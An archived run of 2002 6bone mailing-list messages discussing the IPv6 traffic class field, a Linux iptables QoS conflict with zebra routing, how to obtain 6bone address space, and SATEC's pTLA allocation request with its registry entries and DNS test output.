aaron.


From 6bone-owner  Tue May  7 18:40:58 2002
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      <200205080124.49970.aaron@lo-res.org> 
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Subject: Re: priority question 
From: itojun@iijlab.net
Date: Wed, 08 May 2002 10:41:06 +0900
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>short question: whats the current status of the priority field in the IPv6 
>header? is it already effectively used (=consered as routing decision on KAME 
>based routers)?

	do you mean traffic class field by "priority field"?
	at this moment KAME does not really use the field, except:
	- tunnel code honors ECN (explicit congestion notification) bits
	  as stated in RFC3168 section 9
	- ALTQ can classify traffic based on traffic class field, and uses
	  ECN bits
	- there's an API to modify the field from userland (see 2292bis i-d)
	- TCP code supports ECN bits

	the first two items are integrated in *BSD (not sure if FreeBSD has
	ALTQ integrated yet), the rest is in KAME patch release only.

itojun

From 6bone-owner  Tue May  7 20:26:48 2002
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Date: Wed, 8 May 2002 05:26:54 +0200
From: Xavier Sudre <xavier@sudre.fr>
To: 6bone@ISI.EDU
Subject: Linux QOS ipv4 affects kernel using zebra for ipv6
Message-ID: <20020508032654.GA3395@xavier.sudre>
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Hi everybody,

I sent 3 days to find the trouble I had with dynamic routing tool zebra
and I have isolate a problem into the netfilter code of the kernel or
the iptables tool.

In faact I have QOS on my linux box running Debian with 2.4.18 usagi
kernel. The QOS is applied to ipv4 stack using iproute tool routing with
the help of packet marquing.
To mark packets I use iptables and the mangle table like this:

iptables -t mangle -A OUTPUT -m length --length 0:500 -j MARK --set-mark
3

iptables -t mangle -A OUTPUT -m length --length 500:1500 -j MARK
--set-mark 4

I use tc tool to create cues and filter packet marked by iptables.

I have isolated this two lines of iptables marking process and they are
doing a very starnge stuff on my dynamic routing process in ipv6.
I use zebra bgp facilities for ipv6 and using it it does not
redistribute routes to the kernel when marking process is used.
In this case I have the following error message from the kernel:

kernel: route_me_harder: ip_route_output_key(dst=213.91.4.3, src=80.65.229.50,
oif=7, tos=0x0, fwmark=0x0) error -19

I searched for a solution and switched form kernel 2.4.18 to 2.4.18 usagi, and 
I have also tried the 2.4.19-pre8 kernel but I get always the same eror
message. 

I am using the latest iptables 1.2.6a, and there is no bug known on
their web-site for that problem.

Do you have any solution or any experience with this problem ?

I really hope that you would be able to help me because QOS is a big part
of my ipv4 routing and I dont want to slow down in ipv6 because of
ipv4...

Thanks,
-- 
Xavier Sudre
URL: <http://www.sudre.fr>
EMAIL: <xavier@sudre.fr>

From 6bone-owner  Thu May  9 14:58:49 2002
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Date: Thu, 9 May 2002 23:58:53 +0200
From: Xavier Sudre <xavier@sudre.fr>
To: Xavier Sudre <xavier@sudre.fr>
Cc: 6bone@ISI.EDU
Subject: Re: Linux QOS ipv4 affects kernel using zebra for ipv6
Message-ID: <20020509215852.GA388@xavier.sudre>
References: <20020508032654.GA3395@xavier.sudre>
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So do I have to suppose nobody had this poblem before ?

On Wed, May 08, 2002 at 05:26:54AM +0200, Xavier Sudre wrote:
> Hi everybody,
> 
> I sent 3 days to find the trouble I had with dynamic routing tool zebra
> and I have isolate a problem into the netfilter code of the kernel or
> the iptables tool.
> 
> In faact I have QOS on my linux box running Debian with 2.4.18 usagi
> kernel. The QOS is applied to ipv4 stack using iproute tool routing with
> the help of packet marquing.
> To mark packets I use iptables and the mangle table like this:
> 
> iptables -t mangle -A OUTPUT -m length --length 0:500 -j MARK --set-mark
> 3
> 
> iptables -t mangle -A OUTPUT -m length --length 500:1500 -j MARK
> --set-mark 4
> 
> I use tc tool to create cues and filter packet marked by iptables.
> 
> I have isolated this two lines of iptables marking process and they are
> doing a very starnge stuff on my dynamic routing process in ipv6.
> I use zebra bgp facilities for ipv6 and using it it does not
> redistribute routes to the kernel when marking process is used.
> In this case I have the following error message from the kernel:
> 
> kernel: route_me_harder: ip_route_output_key(dst=213.91.4.3, src=80.65.229.50,
> oif=7, tos=0x0, fwmark=0x0) error -19
> 
> I searched for a solution and switched form kernel 2.4.18 to 2.4.18 usagi, and 
> I have also tried the 2.4.19-pre8 kernel but I get always the same eror
> message. 
> 
> I am using the latest iptables 1.2.6a, and there is no bug known on
> their web-site for that problem.
> 
> Do you have any solution or any experience with this problem ?
> 
> I really hope that you would be able to help me because QOS is a big part
> of my ipv4 routing and I dont want to slow down in ipv6 because of
> ipv4...
> 
> Thanks,
> -- 
> Xavier Sudre
> URL: <http://www.sudre.fr>
> EMAIL: <xavier@sudre.fr>
> 

-- 
Xavier Sudre
URL: <http://www.sudre.fr>
EMAIL: <xavier@sudre.fr>

From 6bone-owner  Thu May  9 17:39:54 2002
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From: "Smith, Mark - Sydney" <smith.r.mark@wcom.com.au>
To: "'Xavier Sudre'" <xavier@sudre.fr>
Cc: 6bone@ISI.EDU
Subject: RE: Linux QOS ipv4 affects kernel using zebra for ipv6
Date: Fri, 10 May 2002 08:39:25 +0800
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Well, I haven't had the specific problem you having, but I have been having
trouble with zebra on a 2.4.18 kernel, on a debian 2.2 box.

Specifically, I can't get zebra to recognise and advertise new IPv6 prefixes
via ripng when I bring up a new interface. Initially I thought it was
because I didn't compile in netlink support, but after doing that, the zebra
daemon does recognise when I bring up / down  the interface externally,
assign a prefix via "ip addr add" etc, but ripng just won't advertise it out
the other Ripng enabled interfaces, when I add that interface to the "router
ripng" config section.

Strangely enough, this only seems to happen after the machine is booted. I
have boot scripts on the box that bring up the interfaces, assign prefixes,
and then run zebra / ripng, it all works fine (I'm initially running zebra
with an ethernet (facing a ripng running cisco router) and a tap interface,
with http://openvpn.sf.net sitting behind it, running a virtual ethernet
tunnel to my home over a dial up link.).

I do have all of netfilter compiled in, with all the options / plug ins
enabled, but I haven't actually done any netfilter config yet.

Could be a netfilter code / zebra / ripng conflict as you suggest.

Hope this helps a bit,
Mark.

> -----Original Message-----
> From: Xavier Sudre [mailto:xavier@sudre.fr]
> Sent: Friday, 10 May 2002 7:59
> To: Xavier Sudre
> Cc: 6bone@ISI.EDU
> Subject: Re: Linux QOS ipv4 affects kernel using zebra for ipv6
> 
> 
> 
> So do I have to suppose nobody had this poblem before ?
> 
> On Wed, May 08, 2002 at 05:26:54AM +0200, Xavier Sudre wrote:
> > Hi everybody,
> > 
> > I sent 3 days to find the trouble I had with dynamic 
> routing tool zebra
> > and I have isolate a problem into the netfilter code of the 
> kernel or
> > the iptables tool.
> > 
> > In faact I have QOS on my linux box running Debian with 2.4.18 usagi
> > kernel. The QOS is applied to ipv4 stack using iproute tool 
> routing with
> > the help of packet marquing.
> > To mark packets I use iptables and the mangle table like this:
> > 
> > iptables -t mangle -A OUTPUT -m length --length 0:500 -j 
> MARK --set-mark
> > 3
> > 
> > iptables -t mangle -A OUTPUT -m length --length 500:1500 -j MARK
> > --set-mark 4
> > 
> > I use tc tool to create cues and filter packet marked by iptables.
> > 
> > I have isolated this two lines of iptables marking process 
> and they are
> > doing a very starnge stuff on my dynamic routing process in ipv6.
> > I use zebra bgp facilities for ipv6 and using it it does not
> > redistribute routes to the kernel when marking process is used.
> > In this case I have the following error message from the kernel:
> > 
> > kernel: route_me_harder: 
> ip_route_output_key(dst=213.91.4.3, src=80.65.229.50,
> > oif=7, tos=0x0, fwmark=0x0) error -19
> > 
> > I searched for a solution and switched form kernel 2.4.18 
> to 2.4.18 usagi, and 
> > I have also tried the 2.4.19-pre8 kernel but I get always 
> the same eror
> > message. 
> > 
> > I am using the latest iptables 1.2.6a, and there is no bug known on
> > their web-site for that problem.
> > 
> > Do you have any solution or any experience with this problem ?
> > 
> > I really hope that you would be able to help me because QOS 
> is a big part
> > of my ipv4 routing and I dont want to slow down in ipv6 because of
> > ipv4...
> > 
> > Thanks,
> > -- 
> > Xavier Sudre
> > URL: <http://www.sudre.fr>
> > EMAIL: <xavier@sudre.fr>
> > 
> 
> -- 
> Xavier Sudre
> URL: <http://www.sudre.fr>
> EMAIL: <xavier@sudre.fr>
> 

From 6bone-owner  Thu May  9 21:07:54 2002
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Reply-To: <tapas.das@teleweb.net.in>
From: "Tapas Das" <tapas.das@teleweb.net.in>
To: "6BONE List" <6bone@ISI.EDU>
Subject: Getting IPV6 address from 6BONE
Date: Fri, 10 May 2002 09:39:19 +0530
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Dear All,
I have created a Person Object & Mntner , whats next how do i get IPV6
address from 6BONE. I already hav IP-Address from Freenet 6.

Thanks In advance

Regards
Tapas Das.


From 6bone-owner  Thu May  9 23:22:10 2002
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Date: Thu, 09 May 2002 23:21:46 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request SATEC - review closes 23 May 2002
Cc: enric@satec.es (Enric Corominas)
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6bone Folk,

SATEC has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 23 May 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?SATEC>

<http://www.gstartnet.com>
<http://www.satec.es>


Thanks,

Bob
===
>Date: Wed, 08 May 2002 20:15:33 +0200
>Reply-To: enric@satec.es
>From: enric@satec.es (Enric Corominas)
>To: fink@es.net
>Cc: ipv6@satec.es
>Subject: pTLA Request for SATEC (AS16091), revised version
>
>Hello 6Bone folks,
>
>
>Here we present our application for a 6Bone pTLA.
>
>SATEC S.A. (www.satec.es) is currently connected to the 6Bone over a 
>tunnel to the CERN.
>
>"IVI-net" is the internal name of our IPv6 deployment project, referenced 
>throughout the 6Bone registry objects.
>
>Please find enclosed the details of the application. Perhaps there is too 
>much information, but we prefer being explicit so that we may save you the 
>need of requesting us further information.
>
>Thanks,
>
>Enric Corominas.
>
>
>
>====================================================================
>
>  a   1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operational, -ly-
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>====================================================================
>These are the entries in the 6Bone registry database for the 
>3FFE:8120:FFFB::/48 prefix.
>
>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>mntner:       MNT-IVI
>descr:        Manteiner group IVINET
>admin-c:      JA5-6BONE
>admin-c:      JCM1-6BONE
>tech-c:       JCM1-6BONE
>tech-c:       JA5-6BONE
>upd-to:       jalba@satec.es
>mnt-nfy:      jalba@satec.es
>mnt-nfy:      jcm@satec.es
>auth:         CRYPT-PW *
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020131
>source:       6BONE
>
>
>
>
>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>ipv6-site:    SATEC
>origin:       AS16091
>descr:        SATEC, S.A.
>               Avda. Europa, 34 A
>               28023 Aravaca (Madrid)
>country:      ES
>prefix:       3FFE:8120:FFFB::/48
>application:  ping socket.gstartnet.com
>tunnel:       IPv6 in IPv4 socket.gstartnet.com -> cern-atm7.cern.ch CERN 
>BGP4+
>contact:      SR9-6BONE
>mnt-by:       MNT-IVI
>changed:      jcm@satec.es 20020131
>changed:      jcm@satec.es 20020202
>source:       6BONE
>
>inet6num:     3FFE:8120:FFFB::/48
>netname:      IVINET
>descr:        SATEC, S.A.
>country:      ES
>admin-c:      JCM1-6BONE
>tech-c:       SR9-6BONE
>remarks:      IVINET, pilot project for transition ADSL access to ipv6
>notify:       ipv6@satec.es
>mnt-by:       MNT-IVI
>changed:      jcm@satec.es 20020202
>source:       6BONE
>
>role:         SATEC Registry
>address:      SATEC, S.A.
>address:      Avda. Europa, 34 A
>address:      E-28023 Aravaca (Madrid)
>address:      GS9-6BONE
>address:      RN2-6BONE
>e-mail:       ipv6@satec.es
>admin-c:      JCM1-6BONE
>tech-c:       JA5-6BONE
>tech-c:       JA6-6BONE
>tech-c:       SS11-6BONE
>tech-c:       SPD1-6BONE
>tech-c:       EC4-6BONE
>tech-c:       JMB1-6BONE
>nic-hdl:      SR9-6BONE
>mnt-by:       MNT-IVI
>changed:      jcm@satec.es 20020131
>source:       6BONE
>
>person:       Juan Carlos Moreno
>address:      SATEC S.A.
>address:      Avda. Europa 34
>address:      28023 (Aravaca) Madrid
>address:      Madrid
>phone:        +34  1 7089000
>fax-no:       +34 1 7089090
>e-mail:       jcm@satec.es
>nic-hdl:      JCM1-6BONE
>url:          http://www.satec.es
>notify:       jcm@satec.es
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020125
>source:       6BONE
>
>person:       Julio Alba
>address:      SATEC S.A.
>address:      Avda. Europa 34
>address:      28023  (Aravaca) Madrid
>phone:        +34  1 7089000
>fax-no:       +34  1 7089090
>e-mail:       jalba@satec.es
>nic-hdl:      JA5-6BONE
>url:          http://www.satec.es
>notify:       jalba@satec.es
>mnt-by:       MNT-IVI
>changed:      julio.alba@satec.es 20020125
>source:       6BONE
>
>person:       Joan Adroer
>address:      Sistemas Avanzados de Tecnología (SATEC)
>address:      Alcalde Barnils, 64, A 1 (Edificio TESTA Sant Cugat)
>address:      08190 Sant Cugat del Vallès        Barcelona - SPAIN
>phone:        +34 935 816 700
>fax-no:       +34 935 816 701
>e-mail:       joan@satec.es
>nic-hdl:      JA6-6BONE
>url:          http://www.satec.es
>notify:       jalba@satec.es
>notify:       joan@satec.es
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020129
>source:       6BONE
>
>person:       Sergi Seira
>address:      Sistemas Avanzados de Tecnología (SATEC)
>address:      Alcalde Barnils, 64, A 1 (Edificio TESTA Sant Cugat)
>address:      08190 Sant Cugat del Vallès        Barcelona - SPAIN
>phone:        +34 935 816 700
>fax-no:       +34 935 816 701
>e-mail:       sergi@satec.es
>nic-hdl:      SS11-6BONE
>url:          http://www.satec.es
>notify:       jalba@satec.es
>notify:       sergi@satec.es
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020129
>source:       6BONE
>
>person:       Simon Peter Dyer
>address:      Sistemas Avanzados de Tecnología (SATEC)
>address:      Alcalde Barnils, 64, A 1 (Edificio TESTA Sant Cugat)
>address:      08190 Sant Cugat del Vallès        Barcelona - SPAIN
>address:      http://www.satec.es
>phone:        +34 935 816 700
>fax-no:       +34 935 816 701
>e-mail:       simon@satec.es
>nic-hdl:      SPD1-6BONE
>notify:       simon@satec.es
>notify:       jalba@satec.es
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020130
>source:       6BONE
>
>person:       Enric Corominas
>address:      Sistemas Avanzados de Tecnología (SATEC)
>address:      Alcalde Barnils, 64, A 1 (Edificio TESTA Sant Cugat)
>address:      08190 Sant Cugat del Vallès        Barcelona - SPAIN
>phone:        +34 935 816 700
>fax-no:       +34 935 816 701
>e-mail:       enric@satec.es
>nic-hdl:      EC4-6BONE
>url:          http://www.satec.es
>notify:       jalba@satec.es
>notify:       enric@satec.es
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020129
>source:       6BONE
>
>person:       Juan Miguel Bocanegra
>address:      Sistemas Avanzados de Tecnología (SATEC)
>address:      Alcalde Barnils, 64, A 1 (Edificio TESTA Sant Cugat)
>address:      08190 Sant Cugat del Vallès        Barcelona - SPAIN
>phone:        +34 935 816 700
>fax-no:       +34 935 816 701
>e-mail:       juanmi@satec.es
>nic-hdl:      JMB1-6BONE
>url:          http://www.satec.es
>notify:       jalba@satec.es
>notify:       juanmi@satec.es
>mnt-by:       MNT-IVI
>changed:      jalba@satec.es 20020129
>source:       6BONE
>
>====================================================================
>
>
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>
>
>====================================================================
>This BPG peering with CERN (delegation of a /48) was established on 1 
>February 2002.
>We had a little shortage, as you can see, three weeks ago.
>
>
>Socket201>sh ipv6 int br
>Ethernet0/0                [up/up]
>     3FFE:8120:FFFB:801:230:94FF:FE0A:B420
>Tunnel0                    [up/up]
>     3FFE:8120:FFFB::1
>Socket201>
>
>Socket201>sh ip int br
>Interface                  IP-Address      OK? Method 
>Status                Protocol
>Ethernet0/0                213.164.61.201  YES 
>NVRAM  up                    up
>Tunnel0                    unassigned      YES 
>NVRAM  up                    up
>Socket201>
>
>
>
>Socket201>sh bgp summary
>BGP router identifier 213.164.61.201, local AS number 16091
>BGP table version is 11864, main routing table version 11864
>212 network entries and 212 paths using 41764 bytes of memory
>180 BGP path attribute entries using 10800 bytes of memory
>176 BGP AS-PATH entries using 4546 bytes of memory
>0 BGP route-map cache entries using 0 bytes of memory
>0 BGP filter-list cache entries using 0 bytes of memory
>BGP activity 2511/1163960 prefixes, 2530/2318 paths, scan interval 15 secs
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
>Up/Down  State/PfxRcd
>3FFE:8120:FFFB::2
>                 4   513   36801   27696    11864    0    0 21:32:45      211
>Socket201>
>
>====================================================================
>
>
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>
>====================================================================
>The main DNS server is hartree.gstartnet.com
>
>
>
>
>DIRECT RESOLUTION OF THE ROUTER NAME (socket.gstartnet.com) ====>
>
>
>
>
>
>enric@fock:~$ dig -t any socket.gstartnet.com
>
>; <<>> DiG 9.2.0 <<>> -t any socket.gstartnet.com
>;; global options:  printcmd
>;; Got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45711
>;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 6
>
>;; QUESTION SECTION:
>;socket.gstartnet.com.          IN      ANY
>
>;; ANSWER SECTION:
>socket.gstartnet.com.   604800  IN      A       213.164.61.201
>socket.gstartnet.com.   604800  IN      AAAA 
>3ffe:8120:fffb:801:230:94ff:fe0a:b420
>socket.gstartnet.com.   604800  IN      A6      0 
>3ffe:8120:fffb:801:230:94ff:fe0a:b420
>
>;; AUTHORITY SECTION:
>gstartnet.com.          604800  IN      NS      druida.gstartnet.com.
>gstartnet.com.          604800  IN      NS      hartree.gstartnet.com.
>gstartnet.com.          604800  IN      NS      ns2.interhost.com.
>
>;; ADDITIONAL SECTION:
>druida.gstartnet.com.   604800  IN      A       213.164.54.2
>druida.gstartnet.com.   604800  IN      A6      0 3ffe:8120:fffb:c03::2
>druida.gstartnet.com.   604800  IN      AAAA    3ffe:8120:fffb:c03::2
>hartree.gstartnet.com.  604800  IN      A       213.164.61.198
>hartree.gstartnet.com.  604800  IN      A6      0 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>hartree.gstartnet.com.  604800  IN      AAAA 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>
>;; Query time: 13 msec
>;; SERVER: 213.164.61.198#53(213.164.61.198)
>;; WHEN: Mon May  6 16:31:51 2002
>;; MSG SIZE  rcvd: 328
>
>enric@fock:~$
>enric@fock:~$
>
>
>
>
>
>REVERSE RESOLUTION OF THE ROUTER NAME (socket.gstartnet.com) ====>
>
>
>
>
>enric@fock:~$
>enric@fock:~$ dig -t any -x 3FFE:8120:FFFB:801:230:94FF:FE0A:B420
>
>; <<>> DiG 9.2.0 <<>> -t any -x 3FFE:8120:FFFB:801:230:94FF:FE0A:B420
>;; global options:  printcmd
>;; Got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17433
>;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 3, ADDITIONAL: 6
>
>;; QUESTION SECTION:
>;\[x3FFE8120FFFB0801023094FFFE0AB420/128].ip6.arpa. IN ANY
>
>;; ANSWER SECTION:
>\[x3FFE8120FFFB08/56].ip6.arpa. 604800 IN DNAME ipv6-rev-BCN.
>\[x3FFE8120FFFB0801023094FFFE0AB420/128].ip6.arpa. 604800 IN CNAME 
>\[x01023094FFFE0AB420/72].ipv6-rev-BCN.
>\[x01/8].ipv6-rev-BCN.  604800  IN      DNAME   ipv6-rev-BCN-external.
>\[x01023094FFFE0AB420/72].ipv6-rev-BCN. 604800 IN CNAME 
>\[x023094FFFE0AB420/64].ipv6-rev-BCN-external.
>\[x023094FFFE0AB420/64].ipv6-rev-BCN-external. 604800 IN PTR 
>socket.gstartnet.com.
>
>;; AUTHORITY SECTION:
>ipv6-rev-BCN-external.  604800  IN      NS      druida.gstartnet.com.
>ipv6-rev-BCN-external.  604800  IN      NS      hartree.gstartnet.com.
>ipv6-rev-BCN-external.  604800  IN      NS      ns2.interhost.com.
>
>;; ADDITIONAL SECTION:
>druida.gstartnet.com.   604800  IN      A       213.164.54.2
>druida.gstartnet.com.   604800  IN      A6      0 3ffe:8120:fffb:c03::2
>druida.gstartnet.com.   604800  IN      AAAA    3ffe:8120:fffb:c03::2
>hartree.gstartnet.com.  604800  IN      A       213.164.61.198
>hartree.gstartnet.com.  604800  IN      A6      0 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>hartree.gstartnet.com.  604800  IN      AAAA 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>
>;; Query time: 12 msec
>;; SERVER: 213.164.61.198#53(213.164.61.198)
>;; WHEN: Mon May  6 16:32:02 2002
>;; MSG SIZE  rcvd: 417
>
>enric@fock:~$
>enric@fock:~$
>
>
>
>
>DIRECT RESOLUTION OF A HOST NAME (fock.gstartnet.com) ====>
>
>
>
>
>enric@fock:~$
>enric@fock:~$ dig -t any fock.gstartnet.com
>
>; <<>> DiG 9.2.0 <<>> -t any fock.gstartnet.com
>;; global options:  printcmd
>;; Got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 333
>;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 6
>
>;; QUESTION SECTION:
>;fock.gstartnet.com.            IN      ANY
>
>;; ANSWER SECTION:
>fock.gstartnet.com.     604800  IN      A       213.164.61.194
>fock.gstartnet.com.     604800  IN      AAAA 
>3ffe:8120:fffb:803:5054:ff:fedb:ed56
>fock.gstartnet.com.     604800  IN      A6      0 
>3ffe:8120:fffb:803:5054:ff:fedb:ed56
>
>;; AUTHORITY SECTION:
>gstartnet.com.          604800  IN      NS      ns2.interhost.com.
>gstartnet.com.          604800  IN      NS      druida.gstartnet.com.
>gstartnet.com.          604800  IN      NS      hartree.gstartnet.com.
>
>;; ADDITIONAL SECTION:
>druida.gstartnet.com.   604800  IN      A       213.164.54.2
>druida.gstartnet.com.   604800  IN      A6      0 3ffe:8120:fffb:c03::2
>druida.gstartnet.com.   604800  IN      AAAA    3ffe:8120:fffb:c03::2
>hartree.gstartnet.com.  604800  IN      A       213.164.61.198
>hartree.gstartnet.com.  604800  IN      A6      0 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>hartree.gstartnet.com.  604800  IN      AAAA 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>
>;; Query time: 9 msec
>;; SERVER: 213.164.61.198#53(213.164.61.198)
>;; WHEN: Mon May  6 16:50:15 2002
>;; MSG SIZE  rcvd: 326
>
>enric@fock:~$
>enric@fock:~$
>
>
>
>
>
>REVERSE RESOLUTION OF A HOST NAME (fock.gstartnet.com) ====>
>
>
>
>
>enric@fock:~$
>enric@fock:~$ dig -t any -x 3FFE:8120:FFFB:803:5054:ff:fedb:ed56
>
>; <<>> DiG 9.2.0 <<>> -t any -x 3FFE:8120:FFFB:803:5054:ff:fedb:ed56
>;; global options:  printcmd
>;; Got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29794
>;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 3, ADDITIONAL: 6
>
>;; QUESTION SECTION:
>;\[x3FFE8120FFFB0803505400FFFEDBED56/128].ip6.arpa. IN ANY
>
>;; ANSWER SECTION:
>\[x3FFE8120FFFB08/56].ip6.arpa. 604800 IN DNAME ipv6-rev-BCN.
>\[x3FFE8120FFFB0803505400FFFEDBED56/128].ip6.arpa. 604800 IN CNAME 
>\[x03505400FFFEDBED56/72].ipv6-rev-BCN.
>\[x03/8].ipv6-rev-BCN.  604800  IN      DNAME   ipv6-rev-BCN-technical.
>\[x03505400FFFEDBED56/72].ipv6-rev-BCN. 604800 IN CNAME 
>\[x505400FFFEDBED56/64].ipv6-rev-BCN-technical.
>\[x505400FFFEDBED56/64].ipv6-rev-BCN-technical. 604800 IN PTR 
>fock.gstartnet.com.
>
>;; AUTHORITY SECTION:
>ipv6-rev-BCN-technical. 604800  IN      NS      hartree.gstartnet.com.
>ipv6-rev-BCN-technical. 604800  IN      NS      ns2.interhost.com.
>ipv6-rev-BCN-technical. 604800  IN      NS      druida.gstartnet.com.
>
>;; ADDITIONAL SECTION:
>druida.gstartnet.com.   604800  IN      A       213.164.54.2
>druida.gstartnet.com.   604800  IN      A6      0 3ffe:8120:fffb:c03::2
>druida.gstartnet.com.   604800  IN      AAAA    3ffe:8120:fffb:c03::2
>hartree.gstartnet.com.  604800  IN      A       213.164.61.198
>hartree.gstartnet.com.  604800  IN      A6      0 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>hartree.gstartnet.com.  604800  IN      AAAA 
>3ffe:8120:fffb:803:200:1ff:fe00:b06c
>
>;; Query time: 16 msec
>;; SERVER: 213.164.61.198#53(213.164.61.198)
>;; WHEN: Mon May  6 16:50:36 2002
>;; MSG SIZE  rcvd: 416
>
>enric@fock:~$
>
>====================================================================
>
>
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>
>====================================================================
>
>The web is hosted on the server hartree.gstartnet.com and is accessible
>on the URL http://www.gstartnet.com .
>
>Therein, you shall find a brief description of our IPv6-enabled network,
>some documentation, and the AS-Path program from Telecom Italia.
>
>====================================================================
>
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>====================================================================
>
>person:       Juan Carlos Moreno
>notify:       jcm@satec.es
>
>person:       Julio Alba
>notify:       jalba@satec.es
>
>person:       Joan Adroer
>notify:       joan@satec.es
>
>person:       Sergi Seira
>notify:       sergi@satec.es
>
>person:       Simon Peter Dyer
>notify:       simon@satec.es
>
>person:       Enric Corominas
>notify:       enric@satec.es
>
>person:       Juan Miguel Bocanegra
>notify:       juanmi@satec.es
>
>====================================================================
>
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>
>====================================================================
>The common mailbox for IPv6 in the SATEC working group is
>
>ipv6@satec.es
>
>
>This addres is configured as a "e-mail" attribute in the "role" object.
>
>
>ipv6-site:    SATEC
>contact:      SR9-6BONE
>
>role:         SATEC Registry
>e-mail:       ipv6@satec.es
>nic-hdl:      SR9-6BONE
>
>
>inet6num:     3FFE:8120:FFFB::/48
>notify:       ipv6@satec.es
>
>
>
>====================================================================
>
>
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicants must provide a statement and information in
>       support this claim.
>
>
>====================================================================
>
>SATEC is a group of enterprises whose main interests are in the IT area,
>providing consulting, engineering, hosting and e-commerce solutions to 
>fulfill
>the needs of a vast range of enterprises, including major ISPs and public
>administration amongst others.
>
>We are currently present in Spain, Portugal and Morocco.
>
>The first phase in our IPv6 migration plan is to provide our ADSL users 
>with access
>to a IPv6 VPN.
>
>Later on, we plan to provide IPv6 access to the rest of companies in the 
>group,
>acting as an IPS for them.
>
>We also agree with the policy of not charging for services offered using 
>the 6bone prefix to any of our potential customers.
>
>====================================================================
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>====================================================================
>
>SATEC S.A. understands and agrees with the current 6Bone Policy as stated 
>in RFC2772.
>
>We also agree with future evolution of this rules.
>
>====================================================================
>
>
>
>Thanks,
>
>
>Enric Corominas



From 6bone-owner  Fri May 10 01:31:07 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: <tapas.das@teleweb.net.in>, "'6BONE List'" <6bone@ISI.EDU>
Subject: RE: Getting IPV6 address from 6BONE
Date: Fri, 10 May 2002 10:31:16 +0200
Organization: NDSoftware Group
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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Tapas Das
> Sent: Friday, May 10, 2002 6:09 AM
> To: 6BONE List
> Subject: Getting IPV6 address from 6BONE

> Dear Tapas Das,

> I have created a Person Object & Mntner , whats next how do i 
> get IPV6 address from 6BONE. I already hav IP-Address from Freenet 6.

For get a pTLA, read this: http://www.6bone.net/6bone_pTLA_rqst.html

Best Regards,

Nicolas DEFFAYET


From 6bone-owner  Fri May 10 01:38:56 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Tapas Das <tapas.das@teleweb.net.in>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: Getting IPV6 address from 6BONE
Message-ID: <20020510083907.GA16421@bfib.colo.bit.nl>
References: <5.1.0.14.0.20020501084931.027bd578@imap2.es.net> <HFEEIFPAPEALNBNNEBJNMEOJCCAA.tapas.das@teleweb.net.in>
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On Fri, May 10, 2002 at 09:39:19AM +0530, Tapas Das wrote:
| Dear All,
| I have created a Person Object & Mntner , whats next how do i get IPV6
| address from 6BONE. I already hav IP-Address from Freenet 6.
Check out their website (www.freenet6.net) as it has guidelines on how
to procede with a /48 delegation from them.

If you want your own space, please note that you need to read RFC2772
and be compliant with that. That means having BGP feeds already and a
company to back the request. 

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
